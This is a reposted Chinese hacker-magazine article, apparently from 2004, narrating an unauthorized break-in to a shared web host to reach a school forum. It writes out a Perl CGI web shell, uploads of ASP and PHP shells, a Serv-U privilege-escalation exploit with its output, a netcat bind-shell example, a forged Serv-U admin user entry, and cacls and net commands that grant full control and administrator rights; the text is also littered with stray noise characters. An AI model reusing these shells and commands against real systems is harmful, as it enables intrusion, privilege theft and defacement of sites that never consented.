中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击 . `' e+ t3 B+ A! W; M5 X% h* a
本文作者:angel# I+ k/ G+ g1 N- E; |: G  E. L3 c0 S
文章性质:原创( P' V; w5 Y7 s: G& f1 X
发布日期:2004-11-09
2 ~* @$ n3 p' n0 m1 k注意:  ~% r9 |8 w1 G2 h4 q4 O- ]' S
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。$ \5 r& q! s. F! w! o# D
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
3 A% L* A0 W# W' C. T6 A* D
5 m1 S8 G( h: w5 B( l  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
, m+ m- G; K  N! m; }4 @( @, V# V% q5 e1 B! Y4 G' k
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
% o  y; u" s( u7 a) L
8 [! M; {' e* c) s- O  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
, L' ^) {5 ^2 ^  x) n: j' H, _7 z# T, C+ Y: i( \5 @/ r& q9 L2 H" v
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
* i/ u. c( |6 H6 t, @/ c  K
. T$ v9 p9 u  I0 b  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 6 t7 b: |: s8 p- U# q

4 \, [3 U3 v8 r  没有目的的跳转目录着……
" C  f8 Z* t& V$ D( ~. k7 F6 Q
- R. G* q+ _/ q. N  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… / R! v, r, i7 {
0 H' s" x2 U6 q3 @
  结束了吗?不,我试着 FTP 一下: 4 z1 S, a) l3 C, C
' F% Y  d$ S) a* w: v& m/ U
Microsoft Windows 2000 [Version 5.00.2195]
* T& m0 l* ]6 `5 I! U% L) W( n. R# a(C) 版权所有 1985-2000 Microsoft Corp. & P( g- Y4 ]1 E: F) n4 X* h# V
* O! n4 B8 y  O- {/ t
C:\Documents and Settings\Administrator>ftp www.school.com5 H: y/ A/ \. }7 J7 s
Connected to www. school.com. # D7 f6 R: T( H  E- _
220 Welcome to FTP Server... 5 t9 a# o7 Q% q& M* o
User (www.bjtrq.com:(none)): * o. u2 o; u: W
331 User name okay, need password. & D# n) {/ P9 l# _% t) U
Password:
" {' o; t1 ?8 u9 ]7 X( e530 Not logged in.
. @0 b' {% @/ g# t# [. z( w& v% tLogin failed. 4 h; a' P/ J# e1 o; K
ftp> bye 7 z, n9 O- t: R  S! P  f# g
221 Goodbye! * i7 C! h2 F$ I6 p, S( j

2 A5 \( ~& e1 W5 b! Y8 G1 h
9 X" O; m) P6 d, S  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
6 ^6 \+ l6 h0 `0 |* c  x" d; \
5 h) i/ @1 g6 b5 C" n  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
2 h# ?+ B8 K0 G7 }3 ?2 ]  c1 H& d; S' m0 e  _( G5 E& M) j! W
Application Data
1 c' n, H7 R0 \$ [# B+ T0 ~Documents
4 C1 o8 e7 i9 G9 @DRM  x+ U7 H) m! R3 g
Favorites8 p$ K3 E4 z) W* h3 u) ]  z5 ~
Templates* K* e0 }5 T  b& y! Z) t, G: b
「开始」菜单0 p6 h- z# O5 Q9 S2 ~0 T
桌面* Q6 }6 R: \. n. v8 G- @0 W
' T" c1 @2 O, j) W' w3 z( i( g5 X  o7 |

  C; B/ b; x, o* o3 E4 a" v  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ) L. Z( J# o+ k* _* J

5 f0 s4 P. f3 T1 [# E1 H& J( qActiveState ActivePerl 5.8
6 I8 L/ y% n; {. ZAdministrative Tools, g" M5 _8 i' Z  Q; ^' C. z
Deerfield.com, M* k" ~% c+ `8 h
DTemp, v( |8 ^0 i' n1 w
IPSentry
2 R, j3 J9 J4 ?2 b. uMBM 5
4 J4 @+ @$ {* w( jNetMeter$ A8 n. ^* d7 C' Z: {2 e( r
Network ICE: T" R; L' D6 `* @/ L! L" _+ c) h
Persits Software AspEmail, P5 K- J2 J% W
Persits Software AspJpeg9 t- R7 b4 G. l0 U
Serv-U FTP Server) p. j+ v# ]4 x% P8 Q) m
Symantec Client Security0 w& R% N1 P$ j# a) Z6 o1 @
Windows 优化大师
/ D: o1 X/ ]8 ~: E; R# F& }WinRAR: ]8 N# I+ Z- s( I. m) s9 y
启动
  c5 U+ S; V! t; b管理工具. {0 P7 B! a5 l/ b
附件7 Z- M+ f0 S$ z
! Y, _; b6 ^3 q9 R! P  r: w
( z! f- U( G. V5 n) Z
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
" {% J8 v' w. I
' r& B& G, _1 g: [# \  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ o) A- S: `2 c8 j& U) |8 K; W
8 E0 M( c: }! qUser281=angel|1|0
2 C2 I+ ?2 q8 _% c+ P  b " z" {% k) m0 Z! y" `) i( }8 d
; K& @8 U1 E$ R5 W4 S# i
  然后加上 " a0 x% x5 r% I% Y% E1 N# S
. d" c" V2 P$ m5 o" D3 a9 O" L/ T
[USER=angel|1]5 O; O" }+ z/ @( n2 o
Password=ng98F85379EA68DBF97BAADCA99B69B805) A3 ?  v! S( R, R) \
HomeDir=D:\websites: u  M8 C$ Y3 e; r6 O' _
RelPaths=14 ?+ `1 T8 B5 f& k
TimeOut=600
0 ~: n0 }5 E- u5 SMaintenance=System& X2 r& v8 H* I8 k# R: {$ b; g1 u
Access1=D:\websites|RWAMELCDP
2 h! f) O  G* _) H" P" M  JSKEYValues=
: C6 N0 y+ s( m. n+ g - V( D5 n9 |. P" p9 x3 h

1 c3 _4 ~2 z: \9 C  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 1 l, M# r  \1 x6 ^; z; A  v
, b! q1 c- g% k+ \2 i" E
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 / e: b2 A& @. {- P/ _5 W3 h. a
- h. d3 }  Q( G) T& y
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 4 }: p$ ~& f( S2 N7 ~7 j* }, H
( Y$ J  M+ a' m' T  a9 G2 _, \; \
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
# a6 O. V# N1 v; U1 a& o: X4 c0 X, E2 B' L
#!/usr/bin/perl" Z! t9 w/ `5 Q' d/ w$ t, q+ C
binmode(STDOUT);
  B" z9 C# H- i7 Y9 u; }. ?syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
! H+ i0 i6 v  r5 k0 [6 p$_ = $ENV{QUERY_STRING};8 k& c1 q' l9 k4 Z0 h, Z# V$ _
s/%20/ /ig;
2 ]# w5 Z1 w, V4 A5 [s/%2f/\//ig;
& g5 v: N' \# c& M$execthis = $_;
. r1 n6 q$ y% N5 U0 B2 J4 Asyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ J4 |+ _6 s* Z, bopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";. j# o: D. W- p  W
system($execthis);# G8 _' x% R4 v
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
# h2 z' J4 c; `3 fclose(STDERR);1 Z* R0 Y3 b5 I2 |3 }
close(STDOUT);
9 G( H5 f! _1 ^exit;) K& M6 B5 w; S! V
/ |+ P! o& Q6 ]0 W  A% p2 {

, |6 K% H% H% ]. F# N. M  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
/ f* \2 ^5 a* e9 k; v
3 y" b0 j9 V) m# X1 x/ Y+ H  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ' F: P; Q& e( W4 a6 b

$ e4 W. j3 g- n9 H, Z9 P8 Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe
6 X& D1 v- W+ d. W: V
. O( F& E1 f" A: l6 a% Y( ~" P
5 l" j: S, K- l  返回:
) g  u' L+ o! k1 e. `; D3 L. H/ Z2 O# ?/ _2 R0 ~0 q' i# `
Serv-u >3.x Local Exploit by xiaolu ! i+ [, I4 m  ~8 E3 X6 ]7 ?

. Y/ ]/ a9 s6 q8 v0 r3 X6 S; y2 H1 H6 `1 EUSAGE: serv-u.exe "command"
# A( j) R5 W% I# k& }* ^) u6 q3 j4 P2 Z* P5 M! J; v9 v/ _7 @1 }
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! m' n, i; g$ E) u3 a
9 X+ r1 H. D& E) c, q% E8 }" z# p/ l- A5 X
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
) W- ?9 ^4 Y. s2 R+ z' q9 a. B
4 U' ]8 A4 B7 f  a0 [3 ~  Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" # B. r4 k, t8 ^, Y' L
0 a$ U! Z1 v3 ?+ {: X; _0 B4 p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" : h4 {- y+ p* y

: D1 Z3 `0 r: Q4 ?6 Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # Z. G2 `* c, f1 |0 r( S3 {! D
3 x; e% a. U* |+ \& |$ f; D* l
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" # D2 O& f2 J: c. m4 `! `* O) v
/ J' U1 F" r% o

8 [, q& |! }6 m" {2 f  s6 I  返回下面的信息,就表示成功了!!!
; N4 U0 g* A! v7 L7 N, w: O/ v* K' H6 P5 ~, y# W4 P! M
Serv-u >3.x Local Exploit by xiaolu
, h# i5 N7 N4 G" T' W) d' |4 x9 }4 Q8 P% a! r5 ]* d0 a* W
<220 Serv-U FTP Server v5.2 for WinSock ready... 0 ~; I& T/ W! e
3 X. Q2 E; g( V1 K9 z
>USER LocalAdministrator
5 i% P% {+ e2 I/ k; |0 H' L" Q! ^+ I6 }  i$ {, a
<331 User name okay, need password. + V: }* Y- G1 a9 \+ ?4 L( B

! j: ^" U2 H* F) h****************************************************** 7 C4 w5 ]& y* n4 x  t  x4 x. E
1 W7 m! s. ~- Z4 K4 X
>PASS #l@$ak#.lk;0@P
. X$ M; q$ s4 t- Z$ A( E- B# m/ O! M, w; E( x$ ^/ p
<230 User logged in, proceed.
' Y2 v$ ~' ~& Q* w4 Y% y  G- y
* ]9 ~2 s) s6 v1 J* l$ B& Q) S4 @******************************************************
" |. q$ ?) c7 D5 n7 O: e9 c% |7 h* T
>SITE MAINTENANCE
, o$ L7 C7 [1 M  p  l: v9 K
6 `, M1 X" i* p. ^7 ?****************************************************** ( }8 G5 F. e9 w! B6 o3 B- G' d

4 o8 R$ [- ~" x[+] Creating New Domain... , j; z- ]' l% n4 `$ ]  ?

; L2 N& }7 t8 u" g6 A2 J5 \" ?<200-DomainID=2
+ R, c# L4 F4 M) T- t  k$ j! b3 {; }' O
<220 Domain settings saved 6 U+ g% ?" M  z2 G- [$ O( ^* c' ]

9 ^/ D/ B$ X, m1 g" B- n7 R, G4 G****************************************************** : m/ n% g8 C0 \6 D3 Y8 _) P

. S5 d' G9 m( e, u; g[+] Domain xl:2 Created + k( W9 \6 |/ H- x

( S9 Z! s9 ~. O- P& Q9 Q[+] Creating Evil User 9 N5 M) g: o0 x
% O( k, B3 _& Q$ {
<200-User=xl
  ]8 T/ d9 U& x
3 k6 W0 _( j* v1 |: \& p200 User settings saved " Q# z% o# l* g; I1 `4 Y% \
* d( I; e! j; N( K- K4 p
******************************************************
# u" J4 ]4 b1 C3 p4 ^
4 Z# }) D$ N! ?[+] Now Exploiting... , K: ?9 w& Q' {1 Y

( H; o" o3 y, l' @7 |7 z) {; t>USER xl
3 U0 X% ^. D1 t1 T
7 P9 ?2 H4 V* h<331 User name okay, need password. 8 S8 t# }1 w" k1 L+ k' [+ T
3 G2 D$ m' Y) j# ~2 B0 I; p" @
****************************************************** $ r6 Z9 c1 U4 x1 P9 I9 d" E, V: t
; s/ |* x4 ]6 t6 v. m+ w2 l$ _
>PASS 111111
/ b, i4 ~. w; K4 Q# S0 g3 a- L! @6 Q+ d7 T( D0 [. p$ A/ C% m
<230 User logged in, proceed. & k: N4 ^' u% t* j& n- @) V
! ^. i) Y" J% |2 C! A
****************************************************** * t2 B6 Y7 |' B, S
- t8 I" R% z' \( C$ X
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
6 n* _* [1 A3 v/ b' l# T: O4 X' ]" {3 v+ v* X+ G
<220 Domain deleted
& ~( b! [3 \( Z, b5 }- a
3 _5 f$ C  ~' k% E" a****************************************************** - r: P8 c: s% B- |, k

5 }- Q/ v. W* `+ u( ^( F% U, w# n: o( x2 ?( _- \7 u
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 2 p/ F8 @% I1 b0 p

4 ]) A* T0 ^8 M9 hhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" + |. ?1 T# K- K  U" B- @0 V
+ Z1 U4 b; W; o9 G/ D( L( ]
( ?. M$ `* l0 o2 d) U. ?' `
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
$ ?4 V! Z* Z9 b% x* j- I
% o2 [+ l5 b' Q" v  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。  P2 |# z& Y9 {1 R3 c7 l
! |# }0 |: B+ y. Z. j$ V5 x! m0 L
  
% w% `& }1 \- k8 r# n" x0 Z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2